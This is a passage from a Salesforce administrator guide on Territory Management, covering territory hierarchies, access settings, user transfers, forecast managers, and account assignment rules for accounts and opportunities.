A territory is a flexible collection of accounts and users where the users have at least read access to the accounts, regardless of who owns the account. By configuring territory settings, users in a territory can be granted read, read/write, or owner-like access (that is, the ability to view, edit, transfer, and delete records) to the accounts in that territory. Both accounts and users can exist in multiple territories. You can manually add accounts to territories, or you can define account assignment rules that assign accounts to territories for you. Not only can you control access to accounts for users in each territory, you can also control users' access to the opportunities and cases associated with the accounts in the territory, regardless of who owns the records. For more information, see Territory Fields on page 2357.

What is a Territory Hierarchy?


Territories exist in a hierarchy which you can set up with as many nested levels as you wish. For example, you could create a top-level territory named Worldwide Sales that has the child territories North America, Europe/Middle East, Latin America, Africa, and Asia/Australia. North America might have the child territories Canada and United States.

2349

Territory Management

Enabling Territory Management

United States might have the child territories Western, Central, Southern, and Eastern. Finally, Western might have the child territories California, Oregon, Washington, Nevada, Arizona, and Utah. Note that territory hierarchies do not have to be focused on geography; they can be defined however you like. For more information, see Building Your Territory Hierarchy on page 2353.

How Do Territories Affect Forecasting?


When you enable territory management for your organization, your forecast data is derived from the opportunities that are associated with the accounts in your territories. Users will have a different forecast for each territory to which they are assigned. For example, if you are assigned to both California and Arizona, you will have one forecast for the opportunities you have in California, and another forecast for the opportunities you have in Arizona. See Viewing Customizable Forecasts on page 2246.

See Also:
Managing Territories Building Your Territory Hierarchy FAQ: Territory Management Tip sheet: Tips & Hints for Working with Territories Administrator setup guide: Deploying Territory Management

Enabling Territory Management


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable territory management: Manage Territories

Territory management is not enabled by default in Salesforce. To request territory management for your organization, contact salesforce.com. You must meet the following prerequisites before enabling territory management: Your organization must be using customizable forecasting in order to enable territory management. If you do not know whether you have customizable forecasting, see Do I Have Customizable Forecasting? on page 2242. Follow the steps in the Deploying Territory Management Guide to prepare your organization for territory management.

After you have completed the prerequisites, you will be ready to turn on territory management for your organization: 1. In Salesforce, go to Your Name > Setup > Manage Territories > Settings. 2. Optionally, change the organization-wide territory management settings that are configurable from the Territory Settings page. See Configuring Territory Management Settings on page 2353. 3. There are two different options for enabling territory management, which depend on your preference to retain or purge preexisting forecast data. Click either Enable Territory Management or Enable Territory Management from Scratch.

2350

Territory Management

Enabling Territory Management

What the Enable Territory Management Button Does When you click this button, your organization's current forecast hierarchy and forecast data are automatically copied to the territory hierarchy as follows: The name of your organization is set as the top of the territory hierarchy. For each role in the forecast hierarchy, a corresponding territory is created in the new territory hierarchy. Manual forecast sharing settings on the roles are copied to the new territory. For more information on manual forecast sharing, see Manually Sharing a Forecast on page 1271. Active Salesforce users are added to territories based on their roles. Opportunities are assigned to the opportunity owner's territory. Accounts are not assigned anywhere in the territory hierarchy. Until you add or edit territories, your forecasts will work the same as they did before you enabled territory management.

What the Enable Territory Management from Scratch Button Does When you click this button, the following occurs: All preexisting forecast data is deleted. An empty territory hierarchy is created.

This button is only recommended when you are setting up a brand new organization in Salesforce that does not have an existing forecast hierarchy. Caution: Irreversible data loss can result from clicking Enable Territory Management from Scratch.

4. Configure territory-related fields, page layouts, and user permissions: Click Your Name > Setup > Customize > Accounts: Click Fields to set the field-level security of the Territories and Exclude from territory assignment rules fields. Click Page Layouts to add those fields to account page layouts. Also, for each account page layout, you can set whether users can choose to run account assignment rules when they save accounts, and whether account assignment rules should run by default whenever accounts are saved. Click Your Name > Setup > Customize > Opportunities: Click Fields to set the field-level security of the Territory field. Click Page Layouts to add the field to opportunity page layouts. Using permission sets or profiles, grant the Manage Territories permission to users who will be administrators of the territory hierarchy. Users that had the Customize Application permission before you enabled territory management are automatically given the Manage Territories permission.

2351

Territory Management

Managing Territories

5. To begin working with your new territory hierarchy, click Your Name > Setup > Manage Territories > Hierarchy. See Building Your Territory Hierarchy on page 2353.

See Also:
Enabling Customizable Forecasting Do I Have Customizable Forecasting? Configuring Territory Management Settings Administrator setup guide: Deploying Territory Management

Managing Territories
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage territories: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

Managing your organization's territories involves the following tasks: Organize territories into hierarchies that represent your organization's forecasting requirements and how users work in your organization. See Building Your Territory Hierarchy on page 2353. Configure organization-wide settings for territory management. See Configuring Territory Management Settings on page 2353. Create new territories and edit existing territories. See Creating Territories on page 2356 and Displaying and Editing Territories on page 2355. Assign users to territories. See Managing Users in Territories on page 2361. Define account assignment rules that evaluate accounts and assign them to territories. See Managing Account Assignment Rules on page 2364. Select accounts from lists and manually assign them to territories. See Manually Assigning Accounts to Territories on page 2375.

See Also:
Territory Management Overview Enabling Territory Management FAQ: Territory Management Tip sheet: Tips & Hints for Working with Territories

2352

Territory Management

Configuring Territory Management Settings

Configuring Territory Management Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure territory settings: Manage Territories

You can set default account, contact, opportunity, and case access levels for new territories, as well as whether forecast managers can administer the territories located below them in the territory hierarchy. 1. Go to Your Name > Setup > Manage Territories > Settings. 2. Choose default access levels for accounts, contacts (depending on your organization-wide default setting), opportunities, and cases. These are the access levels that will be selected by default when a new territory is created. For descriptions of these fields, see Territory Fields on page 2357. Note: These settings are not retroactive and do not affect territories that already exist. When creating or editing an individual territory, you can override these default access levels. See Creating Territories on page 2356. 3. Optionally, check Forecast managers can manage territories. When this box is checked, forecast managers can administer subordinate territories: they can manage users, manually add accounts, and manage account assignment rules for territories that are below their immediate territory. Also, they can add child territories to both their immediate territory and lower territories. To learn more about forecast managers, see Assigning Forecast Managers in Your Forecast Hierarchy on page 1269.

See Also:
Enabling Territory Management Displaying and Editing Territories Adding Forecast Managers to Territories Assigning Forecast Managers in Your Forecast Hierarchy Building Your Territory Hierarchy Creating Territories

Building Your Territory Hierarchy

2353

Territory Management

Building Your Territory Hierarchy

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view territories: To edit territories: View Setup and Configuration Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

Note: If you clicked the Enable Territory Management button to enable territory management, your existing forecast hierarchy was used as the basis of the territory hierarchy. To work with your organization's territory hierarchy, click Your Name > Setup > Manage Territories > Hierarchy. The following terms are used when referring to territories in the hierarchy: Parent Territory A territory that is located immediately above another territory in the hierarchy. A territory has exactly one parent territory in the hierarchy, except for the top-level territory which does not have a parent. Child Territory A territory that is immediately below another territory in the hierarchy. A parent territory can have an unlimited number of child territories. Sibling Territory Child territories that share the same parent territory. Choose an option from the drop-down list to change how the territory hierarchy is displayed: Show in tree view See a visual representation of the parent-child relationships between your territories. Click Expand All to see all territories, or Collapse All to see only top-level territories. To expand or collapse an individual node, click the plus (+) or minus (-) icon. Show in sorted list view See a territory list that you can sort alphabetically by territory name, parent territory (Reports to), or description. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Show in list view See a list of territories and their children, grouped alphabetically by the name of the top-level territory. The columns are not sortable. This view is not available for hierarchies with more than 1,000 territories.

2354

Territory Management

Displaying and Editing Territories

Each view provides links for you to create, edit, and delete territories.

See Also:
Managing Territories Displaying and Editing Territories Creating Territories Deleting Territories

Displaying and Editing Territories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view territories: To edit territories: View Setup and Configuration Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

From the territory detail page, you can view and modify different aspects of the territory, including related territories, assigned users, and included accounts.

Displaying Territories
1. Click Your Name > Setup > Manage Territories > Hierarchy. 2. Select the name of the territory you want to view.

Viewing Related Territories


The Hierarchy list at the top of the territory detail page shows how this territory is related to the top-level territory in the territory hierarchy. To see the names of other territories who share the same parent territory as this one, refer to the Siblings list immediately below. In either list, you can click a territory name to view that territory. The territory detail page also includes a Child Territories related list; see Working with Territory Related Lists on page 2356.

Editing Territories
To update an existing territory, click Edit, and then change the fields you want to modify. For more information, see Territory Fields on page 2357 and Creating Custom Territory Fields on page 2359. If an edit to a territory affects a very large amount of data, you will be sent a confirmation email when the operation has completed.

2355

Territory Management

Displaying and Editing Territories

Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them.

Cloning Territories
Click Clone to create a new territory with the same standard and custom field values as the current territory. The cloned territory will have the same parent territory as the original territory. However, assigned users, account assignment rules, and manually assigned accounts are not cloned. Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

Viewing Accounts Assigned to a Territory


Click View Accounts to see a list of the accounts that have been assigned to this territory and territories below it in the territory hierarchy. The list includes both manually assigned accounts and accounts that were assigned via rules.

Working with Territory Related Lists


Each territory detail page has the following related lists: Assigned Users - Lists the users in the territory. See Managing Users in Territories on page 2361. Inherited Account Assignment Rules - Lists the account assignment rules for this territory that are defined in a parent territory. See Managing Account Assignment Rules on page 2364. Account Assignment Rules Defined in This Territory - Lists the account assignment rules for this territory. See Managing Account Assignment Rules on page 2364. Manually Assigned Accounts - Lists the accounts that have been manually added to this territory. See Manually Assigning Accounts to Territories on page 2375. Child Territories - Lists the territories located immediately below this territory in the territory hierarchy. Click Add Territory to create a new child territory for this territory. Click a child territory name to view that territory's detail page. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator.

See Also:
Recalculating Sharing Rules Building Your Territory Hierarchy Enabling Territory Management Creating Territories Adding Forecast Managers to Territories

Creating Territories

2356

Territory Management

Creating Territories

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create territories: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

You can create up to 500 territories for your organization. To create a new territory: 1. Click Your Name > Setup > Manage Territories > Hierarchy > Add Territory. You can also click Add Territory from the Child Territories related list of a territory detail page. 2. Define the new territory by entering or changing fields. For descriptions of territory fields, see Territory Fields on page 2357. There are two required standard fields for territories: Territory Name and Parent Territory. Territories can also have custom fields. For more information, see Creating Custom Territory Fields on page 2359. 3. Click Save to finish or Save & New to create more territories.

See Also:
Territory Fields Creating Custom Territory Fields Displaying and Editing Territories Building Your Territory Hierarchy Deleting Territories

Territory Fields

2357

Territory Management

Territory Fields

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit territories: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

A territory has the following fields, listed in alphabetical order. Field Name
Account Access

Description Sets how much access territory members have to the territory's accounts: view only, view and edit, or view, edit, transfer and delete. Sets how much access territory members have to cases on the territory's accounts, regardless of who owns the cases: no access, view only, or view and edit. Select this checkbox to prevent the opportunities in this territory from being moved out of this territory and its child territories when account assignment rules are run. Sets the level of access territory members have to contacts on the territory's accounts, regardless of who owns the contacts. The options are no access, view only, or view and edit. The user to whom forecasts from child and lower-level territories roll up. Only modifiable by clicking Change on the territory detail page. If enabled via the Territory Settings page, a forecast manager can administer lower territories in the hierarchy. Sets how much access territory members have to opportunities on the territory's accounts, regardless of who owns the opportunities: no access, view only, or view and edit. Territory immediately above this territory in the territory hierarchy. The parent territory must be an existing territory. Use the lookup icon to select the parent territory. Read-only and only displays on the territory detail page. For every territory, two sharing groups are created; one for the territory, and another for the territory and its children. Click Territory to see the users who are in the sharing group for a

Case Access

Confine Opportunity Assignment

Contact Access

Forecast Manager

Opportunity Access

Parent Territory

Sharing Groups

2358

Territory Management

Territory Fields

Field Name

Description territory. Click Territory and Subordinates to see the users who are in the sharing group for a territory and its children. Note: Users are listed as group members only when the group is used in sharing rules or manual record sharing. For more information, see Managing Users in Territories on page 2361 and Viewing All Users in a Group on page 558.

Territory Description Territory Name

A description of the territory. The name of the territory.

See Also:
Creating Custom Territory Fields Displaying and Editing Territories Creating Territories Territory Management FAQ

Creating Custom Territory Fields


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit custom territory fields: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

You can add up to 500 custom territory fields to tailor territories for your company's unique requirements. To create or edit custom fields on territories: 1. Click Your Name > Setup > Customize > Territories > Fields. From this page, you can view details of standard fields, create or edit custom fields, or define field dependencies. 2. For instructions on creating custom fields, see Creating Custom Fields on page 981.

2359

Territory Management

Deleting Territories

Note: Territories do not have customizable page layouts. New custom fields are added in alphabetical order at the bottom of the territory detail page.

See Also:
Displaying and Editing Territories Creating Territories Territory Fields

Deleting Territories
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete territories: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

You can only delete territories that do not have any child territories. When a territory is deleted, the following items are no longer associated with that territory: All users, whether or not Active in Territory is checked All accounts, whether assigned manually or by account assignment rules All opportunities

To delete a territory: 1. Click Your Name > Setup > Manage Territories > Hierarchy. 2. Click Del next to a territory in the hierarchy. Alternatively, select the name of a territory and click Delete. Note: Restoring an account or opportunity from the Recycle Bin restores the territory assignment, but it does not trigger the evaluation of account assignment rules. If account assignment rules changed while the record was in the Recycle Bin, the restored record may have territories that are inconsistent with the new rules.

See Also:
Displaying and Editing Territories Building Your Territory Hierarchy

2360

Territory Management

Managing Users in Territories

Managing Users in Territories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign users to territories: Manage Territories AND Manage Users

A territory can have an unlimited number of users, and a user can be assigned to an unlimited number of territories. In the context of a specific territory, users have both an Active status and an Active in Territory status: Active An active user is able to log in to Salesforce. Deactivated users, such as employees who are no longer with your company, are disabled from logging in to Salesforce. Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen. However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts are kept current. If a deactivated user is later reactivated, the user can resume normal work as before. If Allow Forecasting is disabled for a user who is deactivated, the user is removed from any territories her or she is assigned to. A user's active status is set by modifying his or her personal information at Your Name > Setup > Manage Users > Users. Active in Territory Users with Active in Territory checked on the territory detail page have open opportunities, closed opportunities, or no opportunities at all in that territory. Users with Active in Territory deselected have been transferred out of or removed from the territory, but retain ownership of opportunities in the old territory. To view the territories to which you belong, view the Territories related list on your personal information page accessible via Your Name > Setup > My Personal Information > Personal Information. Administrators can view this related list for any user via Your Name > Setup > Manage Users > Users.

Adding Users to Territories


To add users to a territory: 1. From a territory detail page, click Add Users. 2. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. 3. Select and deselect checkboxes in the Action column to move users between the Available and Selected areas. Also, you can: Click a letter to view users who correspond to that letter.

2361

Territory Management

Managing Users in Territories

Click All to display all users who match the criteria of the current view. Click select shown to move all users that are shown on the current list page to the Selected area below. Click deselect shown or deselect all to move users from the Selected area to the Available area. Note: Users already assigned to the territory will not appear in the Available users list even if they meet the list view criteria.

4. When the Selected area includes all users that you want to assign to the territory, click Assign.

Removing Users from Territories


You can remove a user from a territory and choose who will receive his or her open opportunities: 1. In the Assigned Users related list on the territory detail page, click Remove next to the user's name. 2. Click the New Owner lookup icon ( ) to select a recipient for any open opportunities the user may have. 3. Alternatively, leave the New Owner field blank. One of the following results will occur: If the parent territory has a forecast manager, then that forecast manager takes ownership of the user's open opportunities. Also, the forecast manager is assigned to the territory with Active in Territory unchecked. If the parent territory does not have a forecast manager, then the user remains in the territory with Active in Territory unchecked.

4. Click Save. If very large amounts of data are affected, you will be sent a confirmation email when the operation has completed.

Transferring Users Between Territories


The user transfer wizard allows you to move a user from one territory to another, choose which open opportunities the user will continue to own, and designate a recipient for open opportunities the user leaves behind. To transfer a user to another territory: 1. In the Assigned Users related list on the territory detail page, click Transfer next to the user's name. 2. Click Select next to the territory to which you are transferring the user. If necessary, expand or collapse nodes in the territory hierarchy to display the desired destination territory. 3. Click the New Owner lookup icon ( ) to select the user who will take ownership of the open opportunities that the transferred user does not keep. Click Next to proceed. If you skip this step and choose not to select a recipient, the forecast manager of the parent territory of the user's former territory automatically receives the open opportunities that the user does not keep. If there is no forecast manager in the parent territory of the user's former territory, then the user being moved retains ownership of his or her opportunities. 4. Choose a list view of the user's open opportunities. 5. Click Select and Deselect to move opportunities between the Available and Selected areas. Also, you can: Click a letter to view opportunities that correspond to that letter. Click All to display all opportunities that match the criteria of the current view. Click select shown to move all opportunities that are shown on the current list page to the Selected area below. Click deselect shown or deselect all to move opportunities from the Selected area to the Available area.

6. When the Selected area shows the opportunities that you want the user to retain after the transfer, click Transfer. If very large amounts of data are affected, you will be sent a confirmation email when the operation has completed.

2362

Territory Management

Viewing Assigned Users Lists

Note: If you transfer the forecast manager out of a territory, that territory will no longer have a forecast and any opportunity overrides for that territory that were created by forecast managers above it in the territory hierarchy will be deleted. See Overriding Customizable Forecasts on page 2248.

See Also:
Displaying and Editing Territories Adding Forecast Managers to Territories

Viewing Assigned Users Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assigned users: To remove or transfer a user: View Setup and Configuration Manage Territories AND Manage Users

The assigned users list page displays a list of users assigned to the selected territory. From this page, you can view detailed user information, remove users from territories, transfer users between territories, and access other related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. The default View is your last selected user view. Click a username to view the user detail. Click Remove next to a username to remove the user from the territory. Click Transfer next to a username to transfer the user between territories.

See Also:
Territory Management Overview Managing Account Assignment Rules

Adding Forecast Managers to Territories

2363

Territory Management

Adding Forecast Managers to Territories

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign forecast managers to territories: Manage Users AND Manage Territories AND Customize Application

Consider the following before assigning the forecast manager for a territory: A territory can have only one forecast manager. See Assigning Forecast Managers in Your Forecast Hierarchy on page 1269. Forecasts from child and lower-level territories roll up to forecast managers. If a territory has no forecast manager, there is no forecast for that territory. Forecast managers can receive opportunities when users are transferred out of or removed from a territory. Forecast managers can receive opportunities when account assignment rules are run. On the territory settings page, you can enable forecast managers to act as delegated administrators for territories below them in the hierarchy.

To assign or change the forecast manager for a territory: 1. On the territory detail page, click Change next to the Forecast Manager field. 2. Select a name from the drop-down list to specify the territory's forecast manager. On the right, a tree view of the territory hierarchy allows you to see the child and lower-level territories whose forecasts will roll up to the forecast manager. 3. Click Save to finish.

See Also:
Assigning Forecast Managers in Your Forecast Hierarchy Displaying and Editing Territories Configuring Territory Management Settings

Managing Account Assignment Rules

2364

Territory Management

Managing Account Assignment Rules

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage account assignment rules: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

You can create account assignment rules that automatically move accounts and their associated opportunities and cases into territories based on any standard or custom account field, such as zip code, state, industry, revenue, or number of employees. Each rule consists of multiple rows of criteria that specify exactly how the accounts are assigned. Account assignment rules are governed by the following: A territory can have inherited account assignment rules, meaning that the rules were created somewhere higher in the territory hierarchy and consequently also impact the given territory. A territory can have locally defined account assignment rules, meaning that the rule was created at the given territory. If a territory doesn't have any inherited or locally-defined account assignment rules, then it only contains accounts that were manually added. If an account matches all inherited and locally-defined account assignment rules for multiple territories on the same branch of the hierarchy, then the account is assigned to the lowest matching territory. If an account matches a territory's inherited account assignment rules but not all of the territory's locally-defined rules, then the account isn't assigned to the territory, but is evaluated for child territories.

For example, you have three territories: Territory A has four rules marked Apply to child territories, and is a parent of territory B. Territory B has three rules not marked Apply to child territories, and is a parent of territory C. Territory C has two rules.

If you assign an account that matches all of territory As and territory Cs rules but only one of territory Bs rules, then the account is assigned to territory C. However, if territory B's rules are marked Apply to child territories, then the account is assigned only to territory A.

Working with Account Assignment Rules


Click Run Rules on the territory detail page to evaluate the active inherited, locally defined rules shown on the page against all existing accounts in your organization. The rules for all subordinate territories are also evaluatedthat is, when you run rules on the top-level territory, all rules in the entire hierarchy are evaluated. When you click Run Rules, an icon ( ) displays next to the button for all affected territories to indicate that rules are being processed. An email confirmation is sent when processing is complete.

2365

Territory Management

Managing Account Assignment Rules

Note: To protect data quality, you can't modify a territory while the processing icon displays.

Click Manage Rules on the territory detail page to access the Manage Account Assignment Rules page, where you can create, edit, preview, and run account assignment rules: Click New to create a new rule, or Edit to edit an existing rule. See Creating and Editing Account Assignment Rules on page 2370. Use the Active checkbox to set a locally-defined rule as active or inactive. Active account assignment rules automatically evaluate accounts and assign them to territories when: An account is created using the Salesforce user interface, the Force.com API, or a client such as Connect Offline. An account is imported using an import wizard. An account is created by the conversion of a lead. An account is edited and saved in the Salesforce user interface, provided the Run territory management rules on save checkbox on the account is visible and selected. An account is edited and saved via the Force.com API. Run Rules is clicked on a territory detail page, provided the Exclude from territory assignment rules checkbox on the account is deselected. Save & Run Rules is clicked on the manage account assignment rules page for a territory, provided the Exclude from territory assignment rules checkbox on the account is deselected. Duplicate accounts are merged.

Click a rule name to see the details of that rule, including its active status and criteria. From a rule detail page you can edit, delete, or clone a rule. Click Preview to see the accounts that would be assigned to this territory and its child territories if the rules currently marked active were run. See Previewing Account Assignments on page 2371. Click Save to save the current active status of locally-defined rules. Click Save & Run Rules to save the current active status of locally-defined rules and evaluate the inherited and locally-defined rules shown on the page against all existing accounts in your organization. Running account assignment rules affects accounts in the Recycle Bin.

Click Edit on the territory detail page to toggle the Confine Opportunity Assignment checkbox. When it is selected, the territory's opportunities remain in the territory or its child territories when you run account assignment rules. The following exceptions apply: If an opportunity's account moves to only one of the territory's children, then the opportunity follows the account and is reassigned to the account's new territory. This includes when an account moves to multiple territories and only one of the new territories is a child of the original territory. If an opportunity's account moves to more than one of the territory's children, then the opportunity's territory field is set to blank. If an opportunity's account moves completely out of the territory and its children, then the opportunity's territory field is set to blank. Tip: You can also manage account assignment rules using the Data Loader or the Web services API.

Account Assignment Rules and Opportunities


Several factors determine how account assignment rules assign opportunities to territories, including: Whether the account associated with the opportunity is assigned to one or more territories

2366

Territory Management

Managing Account Assignment Rules

Whether the opportunity owner is a member of the same territory as the account The number of users assigned to the territory Whether a forecast manager is assigned to the territory

Accounts with One Territory If the account associated with the opportunity is assigned to only one territory, use the following table to determine how the opportunity's territory is assigned: Opportunity Number of Users A Forecast Manager is Results Owner Belongs to Assigned to Territory Assigned to the Territory Same Territory as Account Yes 1 N/A The opportunity is assigned to the same territory as the account. The opportunity owner is unchanged. The opportunity is assigned to the same territory as the account and the opportunity owner is the sole member of the territory. The opportunity is assigned to the same territory as the account and the opportunity owner is added as an inactive member of the territory. The owner of the opportunity remains unchanged. The opportunity is assigned to the same territory as the account and the forecast manager becomes the opportunity owner. The opportunity is assigned to the same territory as the account. The owner of the opportunity remains unchanged. The opportunity is assigned to the forecast manager of the territory. The opportunity is assigned to the same territory as the account and the opportunity owner is added as an inactive member of the territory. The owner of the opportunity remains unchanged.

No

N/A

No

N/A

Yes

>1

Yes

Yes

>1

No

No No

>1 >1

Yes No

Accounts with Multiple Territories If the account associated with the opportunity is assigned to more than one territory, use the following table to determine how the opportunity's territory is assigned: Opportunity Owner's Territory Membership Opportunity owner has one territory in common with the account Results The opportunity is not assigned to any territories. The opportunity owner can assign the opportunity to the territory that he or she has in common with the account. The opportunity is not assigned to any territories. The opportunity owner can assign the opportunity

Opportunity owner has more than one territory in common with the account

2367

Territory Management

Managing Account Assignment Rules

Opportunity Owner's Territory Membership

Results to any territory that he or she has in common with the account.

Opportunity owner has no territories in common with the account

The opportunity is not assigned to any territories. The opportunity owner cannot assign the opportunity to any territories.

Territory Assignments for Standard Users If the user creating the opportunity is a standard user, Salesforce automatically assigns a territory to a new opportunity only if the user and account have exactly one territory in common. For example, Wilson, who is a standard user assigned to the Westlake territory only, creates an opportunity on the Filmore, Inc. account. Filmore, Inc. belongs to the Westlake territory and one other territory. Because James and Filmore, Inc., have exactly one territory in common, the new opportunity is assigned to the Westlake territory. If James belonged to the account's other territory, the opportunity would not be assigned to a territory. Use the following table to determine when a territory will be assigned to an opportunity created by a standard user. Number of Territories Assigned to User Number of Territories Assigned to Account 1 1 >1 Opportunity Results Owner Belongs to Same Territory as Account Yes Yes Yes The opportunity is assigned to the territory in common. The opportunity is assigned to the account's territory if the user belongs to that same territory. The opportunity is assigned to the user's territory if the account is associated with that same territory. The opportunity is not assigned to any territories. The opportunity owner can assign the opportunity to any territory that he or she has in common with the account. The opportunity is not assigned to any territories.

1 >1 1

>1

>1

Yes

N/A

N/A

No

Territory Assignments for Administrators If the user is an administrator, a territory-delegated administrator, or a user with the Manage Territories permission, Salesforce automatically assigns a territory to a new opportunity only if the administrator, the account, and the account's parent accounts have exactly one territory in common. For example, Jennifer is an administrator who manages the Northlake and Westlake territories. She creates an opportunity on the Richmond Brothers account. Richmond Brothers is associated with the Northlake and Southlake territories. Richmond Brothers has one parent account, Zyman Products, which is assigned to the Northlake and Eastlake territories. Because Jennifer, Richmond Brothers, and Zyman Products have only the Northlake territory in common, the new opportunity is assigned to the Northwest territory. If Richmond Brothers or Zyman Products also belonged to the Westlake territory, the opportunity would not be assigned to a territory. Use the following table to determine when a territory will be assigned to an opportunity created by an administrator.

2368

Territory Management

Managing Account Assignment Rules

Number of Territories Administrator Manages 1 >1 1 1 >1

Number of Territories Assigned to Account 1 1 >1 1 >1

Number of Territories Assigned to Account's Parent Account(s) 1 1 1 >1 1

Opportunity Results Owner Manages Same Territory as Account and Parent Account(s) Yes Yes Yes Yes Yes The opportunity is assigned to the territory in common. The opportunity is assigned to the territory in common. The opportunity is assigned to the territory in common. The opportunity is assigned to the territory in common. The opportunity is assigned to the parent account's territory if the administrator and the account have no other territories in common. The opportunity owner can manually assign the opportunity to any territory that he or she has in common with the account The opportunity is assigned to the administrator's territory if the account and the account's parent account(s) have no other territories in common. The opportunity owner can manually assign the opportunity to any territory that he or she has in common with the account The opportunity is assigned to the account's territory if the administrator and the account's parent account(s) have no other territories in common. The opportunity owner can manually assign the opportunity to any territory that he or she has in common with the account The opportunity is assigned to the administrator's territory if the administrator, the account, and the account's parent account(s) have no other territories in common. The opportunity owner can manually assign the opportunity to any territory that he or she has in common with the account.

>1

>1

Yes

>1

>1

Yes

>1

>1

>1

Yes

2369

Territory Management

Managing Account Assignment Rules

Number of Territories Administrator Manages N/A

Number of Territories Assigned to Account N/A

Number of Territories Assigned to Account's Parent Account(s) N/A

Opportunity Results Owner Manages Same Territory as Account and Parent Account(s) No The opportunity is not assigned to any territories.

See Also:
Creating and Editing Account Assignment Rules Previewing Account Assignments Displaying and Editing Territories Assigning Opportunities to Territories

Creating and Editing Account Assignment Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit account assignment rules: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

A territory can have a maximum of 15 account assignment rules, including both active and inactive rules. To create or edit an account assignment rule: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Manage Territories > Hierarchy. Select the territory you want to modify. Click Manage Rules in the Account Assignment Rules related list. Click New to create a new account assignment rule. To edit an existing account assignment rule, click Edit. Enter a name for the rule. Rule names must be unique and can have a maximum of 80 characters. Define filter criteria that accounts must match to be included in the territory. If your organization uses multiple languages, use your organization's default language when specifying your criteria. 7. Optionally, check the Apply to child territories box that makes the rule applicable to child territories 8. Optionally, check the Active box to activate the rule. Inactive rules never run. Active account assignment rules automatically evaluate accounts and assign them to territories when:

2370

Territory Management

Managing Account Assignment Rules

An account is created using the Salesforce user interface, the Force.com API, or a client such as Connect Offline. An account is imported using an import wizard. An account is created by the conversion of a lead. An account is edited and saved in the Salesforce user interface, provided the Run territory management rules on save checkbox on the account is visible and selected. An account is edited and saved via the Force.com API. Run Rules is clicked on a territory detail page, provided the Exclude from territory assignment rules checkbox on the account is deselected. Save & Run Rules is clicked on the manage account assignment rules page for a territory, provided the Exclude from territory assignment rules checkbox on the account is deselected. Duplicate accounts are merged.

9. Click Save to finish, or Save & New to save the rule and begin defining another rule. Tip: By creating at least one account assignment rule at the top of your territory hierarchy that applies to child territories, you can build a hierarchy where all accounts match the top-level criteria and subordinate territories differentiate accounts by more specific criteria. Similarly, if your organization uses divisions, create a rule at the top of your territory hierarchy that filters accounts by division and applies to child territories.

See Also:
Managing Account Assignment Rules Previewing Account Assignments Displaying and Editing Territories

Previewing Account Assignments


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To preview account assignments in territories: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

Before running account assignment rules, preview a list of the accounts that would be assigned to the territory and territories below it in the territory hierarchy if the rules currently marked active were run: 1. From the territory detail page, click Manage Rules > Preview.

2371

Territory Management

Viewing Inherited Rules Lists

2. Click Save to save the active status of the rules. Click Save & Run Rules to save the active status of the rules and evaluate the rules against all existing accounts in your organization. Note: Running account assignment rules affects accounts in the Recycle Bin.

See Also:
Managing Account Assignment Rules Creating and Editing Account Assignment Rules Displaying and Editing Territories

Viewing Inherited Rules Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view inherited rules: View Setup and Configuration

The inherited rules list page displays a list of account assignment rules inherited by the selected territory. From this page, you can view detailed rule information and access information on individual rules. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. Click a rule name to view the rule detail.

See Also:
Territory Management Overview Manually Assigning Accounts to Territories

Assigning Opportunities to Territories

2372

Territory Management

Assigning Opportunities to Territories

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create opportunities: Create on Opportunities

